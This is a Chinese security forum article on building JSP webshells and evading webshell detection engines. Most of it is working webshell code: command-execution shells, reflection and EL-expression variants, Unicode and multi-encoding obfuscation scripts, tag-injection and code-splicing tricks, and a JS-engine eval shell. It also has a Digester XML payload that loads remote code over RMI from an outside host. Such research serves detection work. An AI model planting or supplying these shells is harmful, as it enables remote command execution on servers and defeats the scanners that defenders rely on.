问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
攻与防:JSP Webshell检测引擎的对抗
漏洞分析
分析了从一个简单的JSP webshell的构造到使用JSP特定的XML语法、使用标签在jsp转化为java代码的过程中通过拼接造成的恶意代码插入以及针对检测引擎的特性进行针对性webshell对抗的各种方式
### 普通webshell #### Runtime.getRuntime ```php <% // original WebShell String cmd = request.getParameter("cmd"); if (cmd != null) { Process process = Runtime.getRuntime().exec(cmd); InputStream inputStream = process.getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); String res = null; while ((res = bufferedReader.readLine()) != null) { response.getWriter().write(res); } } %> ``` #### ProcessBuilder ```php <% // original WebShell String cmd = request.getParameter("cmd"); if (cmd != null) { // ProcessBuilder Process process = new ProcessBuilder(new String[]{cmd}).start(); InputStream inputStream = process.getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); String res = ""; while ((res = bufferedReader.readLine()) != null) { response.getWriter().write(res); } } %> ``` #### ProcessImpl ```php // ProcessImpl#start() Class<?> aClass = Class.forName("java.lang.ProcessImpl"); Method start = aClass.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class); start.setAccessible(true); Process process = (Process) start.invoke(null, new String[]{cmd}, null, ".", null, true); ``` #### EL表达式 ##### jsp body下的EL执行 在`jsp`文件的`<%= %>`和jspx文件下的`jsp:expression`均可执行EL表达式 ##### jsp 标签内的EL执行 EL表达式不仅可以放到jsp的body里,也可以插入到各种的标签中 ```php <jsp:useBean id="test" type="java.lang.Class" beanName="${Runtime.getRuntime().exec(param.cmd)}"></jsp:useBean> ``` ##### 动态接受参数 ```php ${param.getClass().forName(param.a).newInstance().getEngineByName(param.b).eval(param.c)} ``` 同样可以使用`[]`进行webshell的构造 ```php ${""[param.a]()[param.b](param.c)[param.d]()[param.e](param.f)[param.g](param.h)} ``` ### 反射方法 #### 反射调用方法 #### 反射属性值执行 ##### com.sun.javafx.property.PropertyReference#set ```php PropertyReference reference = new PropertyReference(String.class, "test"); Field reflected = PropertyReference.class.getDeclaredField("reflected"); reflected.setAccessible(true); reflected.set(reference, true);//跳过判断限制 Method method = Runtime.class.getDeclaredMethod("exec", String[].class); Field setter = PropertyReference.class.getDeclaredField("setter"); setter.setAccessible(true); setter.set(reference, method);//设置恶意方法 reference.set(Runtime.getRuntime(), new String[]{“bash”, “-c”, “open -a Calculator”});//要执行的恶意命令 ``` #### 非黑名单方法 ##### JARSoundbankReader ```php <% JARSoundbankReader reader = new JARSoundbankReader(); URL url = new URL("http://xx.xx.xx.xx/"); reader.getSoundbank(url); %> ``` ### 编码绕过 #### Java层代码编码 **ASCII** Class<?> aClass = Class.forName(new String(new byte\[\]{ 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101})); **HEX** Class<?> aClass = Class.forName(new String(DatatypeConverter.parseHexBinary("6a6176612e6c616e672e52756e74696d65")); #### unicode编码 jsp支持unicode编码 ##### 直接编码 <%@ page contentType\\="text/html;charset=UTF-8" language\\="java" pageEncoding\\="UTF-8" %> <%@ page import\\="java.io.\*"%> <% \\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\\u0020\\u0063\\u006d\\u0064\\u0020\\u003d\\u0020\\u0072\\u0065\\u0071\\u0075\\u0065\\u0073\\u0074\\u002e\\u0067\\u0065\\u0074\\u0050\\u0061\\u0072\\u0061\\u006d\\u0065\\u0074\\u0065\\u0072\\u0028\\u0022\\u0063\\u006d\\u0064\\u0022\\u0029\\u003b\\u000a\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0069\\u0066\\u0020\\u0028\\u0063\\u006d\\u0064\\u0020\\u0021\\u003d\\u0020\\u006e\\u0075\\u006c\\u006c\\u0029\\u0020\\u007b\\u000a\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0050\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\\u0020\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\\u0020\\u003d\\u0020\\u0052\\u0075\\u006e\\u0074\\u0069\\u006d\\u0065\\u002e\\u0067\\u0065\\u0074\\u0052\\u0075\\u006e\\u0074\\u0069\\u006d\\u0065\\u0028\\u0029\\u002e\\u0065\\u0078\\u0065\\u0063\\u0028\\u0063\\u006d\\u0064\\u0029\\u003b\\u000a\\u000a\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0049\\u006e\\u0070\\u0075\\u0074\\u0053\\u0074\\u0072\\u0065\\u0061\\u006d\\u0020\\u0069\\u006e\\u0070\\u0075\\u0074\\u0053\\u0074\\u0072\\u0065\\u0061\\u006d\\u0020\\u003d\\u0020\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\\u002e\\u0067\\u0065\\u0074\\u0049\\u006e\\u0070\\u0075\\u0074\\u0053\\u0074\\u0072\\u0065\\u0061\\u006d\\u0028\\u0029\\u003b\\u000a\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0042\\u0075\\u0066\\u0066\\u0065\\u0072\\u0065\\u0064\\u0052\\u0065\\u0061\\u0064\\u0065\\u0072\\u0020\\u0062\\u0075\\u0066\\u0066\\u0065\\u0072\\u0065\\u0064\\u0052\\u0065\\u0061\\u0064\\u0065\\u0072\\u0020\\u003d\\u0020\\u006e\\u0065\\u0077\\u0020\\u0042\\u0075\\u0066\\u0066\\u0065\\u0072\\u0065\\u0064\\u0052\\u0065\\u0061\\u0064\\u0065\\u0072\\u0028\\u006e\\u0065\\u0077\\u0020\\u0049\\u006e\\u0070\\u0075\\u0074\\u0053\\u0074\\u0072\\u0065\\u0061\\u006d\\u0052\\u0065\\u0061\\u0064\\u0065\\u0072\\u0028\\u0069\\u006e\\u0070\\u0075\\u0074\\u0053\\u0074\\u0072\\u0065\\u0061\\u006d\\u0029\\u0029\\u003b\\u000a\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\\u0020\\u0072\\u0065\\u0073\\u0020\\u003d\\u0020\\u006e\\u0075\\u006c\\u006c\\u003b\\u000a\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0077\\u0068\\u0069\\u006c\\u0065\\u0020\\u0028\\u0028\\u0072\\u0065\\u0073\\u0020\\u003d\\u0020\\u0062\\u0075\\u0066\\u0066\\u0065\\u0072\\u0065\\u0064\\u0052\\u0065\\u0061\\u0064\\u0065\\u0072\\u002e\\u0072\\u0065\\u0061\\u0064\\u004c\\u0069\\u006e\\u0065\\u0028\\u0029\\u0029\\u0020\\u0021\\u003d\\u0020\\u006e\\u0075\\u006c\\u006c\\u0029\\u0020\\u007b\\u000a\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0072\\u0065\\u0073\\u0070\\u006f\\u006e\\u0073\\u0065\\u002e\\u0067\\u0065\\u0074\\u0057\\u0072\\u0069\\u0074\\u0065\\u0072\\u0028\\u0029\\u002e\\u0077\\u0072\\u0069\\u0074\\u0065\\u0028\\u0072\\u0065\\u0073\\u0029\\u003b\\u000a\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u007d\\u000a\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u0020\\u007d\\u000a %> 解码后内容 String cmd \\= request.getParameter("cmd"); if (cmd != null) { Process process \\= Runtime.getRuntime().exec(cmd); InputStream inputStream \\= process.getInputStream(); BufferedReader bufferedReader \\= new BufferedReader(new InputStreamReader(inputStream)); String res \\= null; while ((res \\= bufferedReader.readLine()) != null) { response.getWriter().write(res); } } ##### 混淆编码 ###### 添加多个`u` <%@ page contentType\\="text/html;charset=UTF-8" language\\="java" pageEncoding\\="UTF-8" %> <%@ page import\\="java.io.\*"%> <% \\uuuu0053\\uu0074\\u0072\\u0069\\u006e\\u0067\\u0020 %> ###### //注释符逃逸 ```php <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String cmd = request.getParameter("cmd"); if (cmd != null) { Process process = new ProcessBuilder(new String[]{cmd}). \u000d\uabcdstart();java.io.InputStream inputStream = process.getInputStream();java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream));String res = ""; while ((res = bufferedReader.readLine()) != null) {response.getWriter().write(res);} } %> ``` 1. `\u000d` == `\r` 2. //一直到`\u000d`的下一个字符都会被忽略 #### embed encoding 使用JSP内置的支持的各类编码的组合进行绕过 支持有很多编码-- `UTF-16BE / UTF-16LE / UTF-8 / ISO-10646-UCS-4 / CP037 ......`等等 ##### 一次编码 通过BOM进行编码的识别 ```php import codecs s1 = ''' <% Runtime.getRuntime().exec(request.getParameter("cmd")); %> ''' with open("shell1.jsp", "wb") as f1: f1.write(codecs.BOM_UTF16_BE) f1.write(s1.encode("utf-16be")) ``` ##### 二重编码:BOM探测失败+`getPageEncodingForJspSyntax`的方式 ```php s0 = '''<%@ page pageEncoding="cp037" language="java"%>''' s1 = ''' <% String cmd = request.getParameter("cmd"); if (cmd != null) { java.lang.Process process = Runtime.getRuntime().exec(cmd); java.io.InputStream inputStream = process.getInputStream(); java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream)); String res = ""; while ((res = bufferedReader.readLine()) != null) { response.getWriter().write(res); } } %> ''' with open("shell1.jsp", "wb") as f1: f1.write(s0.encode("utf-8")) f1.write(s1.encode("cp037")) ``` 1. 替换不同的编码  2. s0对应的标签可以放置在文件任意部分 ##### 二重编码:<?xml标签指定编码+<jsp:root标签的实现方式 因为使用的是<?xml中的编码,就不需要保证BOM不能够被探测到,就可以选择能够被BOM探测的编码,之后获取<?xml的编码 有很多可以选择的,详细可以看`processBom`中 一个`utf-16 + cp037`的示例 ```php s08 = '''<?xml version="1.0" encoding='cp037'?>''' s2 = ''' <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"> <jsp:directive.page contentType="text/html"/> <jsp:declaration> </jsp:declaration> <jsp:scriptlet> String cmd = request.getParameter("cmd"); if (cmd != null) { java.lang.Process process = Runtime.getRuntime().exec(cmd); java.io.InputStream inputStream = process.getInputStream(); java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream)); String res = ""; while ((res = bufferedReader.readLine()) != null) { response.getWriter().write(res); } } </jsp:scriptlet> <jsp:text> </jsp:text> </jsp:root> ''' with open("shell1.jsp", "wb") as f1: f1.write(s08.encode("utf-16")) f1.write(s2.encode("cp037")) ``` ##### 三重编码:<?xml + getPageEncodingForJspSyntax进行两次不同的编码转换 1. 使用BOM不能够探测的编码--utf-8 2. 通过<?xml决定第二重编码 3. 通过`getPageEncodingForJspSyntax`决定第三重编码 ```php s0 = '''<%@ page pageEncoding="utf-16be" language="java"%>''' s08 = '''<?xml version="1.0" encoding='cp037'?>''' s1 = ''' <% String cmd = request.getParameter("cmd"); if (cmd != null) { java.lang.Process process = Runtime.getRuntime().exec(cmd); java.io.InputStream inputStream = process.getInputStream(); java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream)); String res = ""; while ((res = bufferedReader.readLine()) != null) { response.getWriter().write(res); } } %> ''' with open("shell1.jsp", "wb") as f1: f1.write(s08.encode("utf-8")) f1.write(s0.encode("cp037")) f1.write(s1.encode("utf-16be")) ``` ### JSP文件中的XML语法解析 #### 替换<%标签为<jsp:scriptlet ```php <jsp:scriptlet> String cmd = request.getParameter("cmd"); if (cmd != null) { Process process = Runtime.getRuntime().exec(cmd); InputStream inputStream = process.getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); String res = null; while ((res = bufferedReader.readLine()) != null) { response.getWriter().write(res); } } </jsp:scriptlet> ``` #### jsp文件引入XML语法 ##### <?xml开头的jsp文件 ```php <?xml version="1.0" encoding="UTF-8"?> <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"\> <jsp:declaration> </jsp:declaration> <jsp:scriptlet> String cmd = request.getParameter("cmd"); if (cmd != null) { Process process = Runtime.getRuntime().exec(cmd); InputStream inputStream = process.getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); String res = null; while ((res = bufferedReader.readLine()) != null) { response.getWriter().write(res); } } </jsp:scriptlet> </jsp:root> ``` ##### 自定义<jsp:root前缀 ```php <?xml version="1.0" encoding="UTF-8"?> <demo:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"> <jsp:declaration> </jsp:declaration> <jsp:scriptlet> String cmd = request.getParameter("cmd"); if (cmd != null) { Process process = Runtime.getRuntime().exec(cmd); InputStream inputStream = process.getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); String res = null; while ((res = bufferedReader.readLine()) != null) { response.getWriter().write(res); } } </jsp:scriptlet> </demo:root> ``` #### CDATA标签混淆 ##### CDATA标签分割关键函数 **注意**: 使用这种方法,需要指定`contentType`为`text/html`类型,因为`CDATA`是在html语法中才能够被解析 ```php <?xml version="1.0" encoding="UTF-8"?> <demo:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"> <jsp:declaration> </jsp:declaration> <jsp:directive.page contentType="text/html" /> <jsp:scriptlet> String cmd = requ<![CDATA[est.get]]>Parameter("cmd"); if (cmd != null) { Process process = Runtime.getRuntime().exec(cmd); InputStream inputStream = process.getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); String res = null; while ((res = bufferedReader.readLine()) != null) { response.getWriter().write(res); } } </jsp:scriptlet> </demo:root> ``` #### HTML下的实体编码 ```php <?xml version="1.0" encoding="UTF-8"?> <demo:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"> <jsp:declaration> </jsp:declaration> <jsp:directive.page contentType="text/html" /> <jsp:scriptlet> St.... </jsp:scriptlet> </demo:root> ``` ### 关键词分离绕过 #### BeansExpression 将`Runtime.getRuntime().exec`方法这种很明显的特征给分离开 ```php <%@ page import="java.beans.Expression" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String cmd = request.getParameter("cmd"); if (cmd != null) { Expression expression = new Expression(Runtime.getRuntime(), "exec", new Object[]{cmd}); Process process = (Process) expression.getValue(); java.io.InputStream inputStream = process.getInputStream(); java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream)); String res = ""; while ((res = bufferedReader.readLine()) != null) { response.getWriter().write(res); } } %> ``` ### 标签逃逸 具体是因为在获取标签标签值的时候并没有对内容进行过滤转义等等,使得在之后对JSP页面动态生成对应的java源文件的时候将会在java文件中插入一段自定义的代码,最终形成了逃逸 #### setProperty ```php <jsp:setProperty name="\" + new java.util.function.Supplier<String>() {public String get() { try{String s = request.getParameter(\"cmd\");Process process = new ProcessBuilder().command(s.split(\" \")).start();} catch (Exception e) { e.printStackTrace();}return \"\";}}.get() + \"" property="*" /> ``` 使用这种方法生成的java文件拼接为  在方法执行过程中,首先将会执行计算参数值,之后将参数传入,所以这里优先执行我们插入的代码 #### useBean ```php <jsp:useBean id="a;java.lang.Runtime.getRuntime().exec(request.getParameter(\"cmd\"));/*" type="java.lang.Class" beanName=";"></jsp:useBean> <jsp:setProperty name="\"*/ /" property="*"></jsp:setProperty> ```  充分结合了`useBean`和`setProperty`的插入,充分的利用拼接和合理的构造注释符,使得能够单单的执行`java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));`且不影响之后的编译过程 ### 检测引擎对抗 #### 敏感词隐藏 ##### System-property ```php System.setProperty("cmd", "calc"); System.setProperty("ret", stringBuilder.toString()); ``` ##### 内置对象 ```php ${ pageContext.setAttribute("obj",Runtime.getRuntime()); pageContext.getAttribute("obj").exec("open -a Calculator") } ``` | EL表达式 | JSP | |---|---| | pageContext | pageContext | | pageScope | 基本等同于pageContext | | requestScope | request | | sessionScope | session | | applicationScope | application | | param | ServletRequest.getParameter(String name) | | paramValues | ServletRequest.getParameterValues(String name) | | header | ServletRequest.getHeader(String name) | | headerValues | ServletRequest.getHeaders(String name) | | cookie | HttpServletRequest.getCookies() | | initParam | ServletContext.getInitParameter(String name) | #### 破坏文件结构进行代码拼接 对于JSP页面的动态解析,主要是通过两个方法`generateJava`和`generateClass`分别用来根据JSP语法动态的生成java源码,并通过后者对其进行编译生成class字节码,创建一个Servlet,在下次调用的时候直接调用他的`_jspService`方法 对于代码拼接也就是靠着编译过程中进行括号的闭合 ```php <%@ page import="java.beans.Expression" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String cmd = request.getParameter("cmd"); } catch (java.lang.Throwable t) {} finally { _jspxFactory.releasePageContext(_jspx_page_context); } try { if (cmd != null) { Expression expression = new Expression(Runtime.getRuntime(), "exec", new Object[]{cmd}); Process process = (Process) expression.getValue(); java.io.InputStream inputStream = process.getInputStream(); java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream)); String res = ""; while ((res = bufferedReader.readLine()) != null) { response.getWriter().write(res); } } %> ```  #### payload get传输 可以通过js引擎构建webshell,小到可以通过GET请求传送 ```php <% javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js"); engine.put("request", request); engine.put("response", response); engine.eval(request.getParameter("xxx")); %> ``` #### 返回包伪装 ##### 修改响应头,将Payload回显编码后放到WAF拦截页面 比如一个隐藏标签的`value`字段,可以通过查看html源代码获取回显 ##### 伪装成报错页面 #### Digester.parse解析XML文件导致setter执行 ```php <% org.apache.tomcat.util.digester.Digester digester = new org.apache.tomcat.util.digester.Digester(); digester.addObjectCreate("Test/Loader", null, "className"); digester.addSetProperties("Test/Loader"); digester.parse(new java.io.ByteArrayInputStream(java.util.Base64.getDecoder().decode(request.getParameter("cmd")))); %> ``` 传入的base64编码后的恶意XML文件内容 原始XML文件为: ```php <?xml version='1.0' encoding='utf-8'?> <Test> <Loader className="com.sun.rowset.JdbcRowSetImpl" dataSourceName="rmi://192.168.129.1:1099/slq0x1" autoCommit="true"></Loader> </Test> ``` ### 参考 [https://tttang.com/archive/1840/#toc\_\_7](https://tttang.com/archive/1840/#toc__7) <https://y4tacker.github.io/2022/05/16/year/2022/5/JspWebShell%E6%96%B0%E5%A7%BF%E5%8A%BF%E8%A7%A3%E8%AF%BB/#%E5%86%99%E5%9C%A8%E5%89%8D%E9%9D%A2> <https://www.eclipse.org/articles/Article-Internationalization/how2I18n.html> <https://yzddmr6.com/> Webshell攻防下的黑魔法-yzddmr6
发表于 2025-09-15 09:46:48
阅读 ( 298 )
分类:
WEB安全
0 推荐
收藏
0 条评论
请先
登录
后评论
leeh
4 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!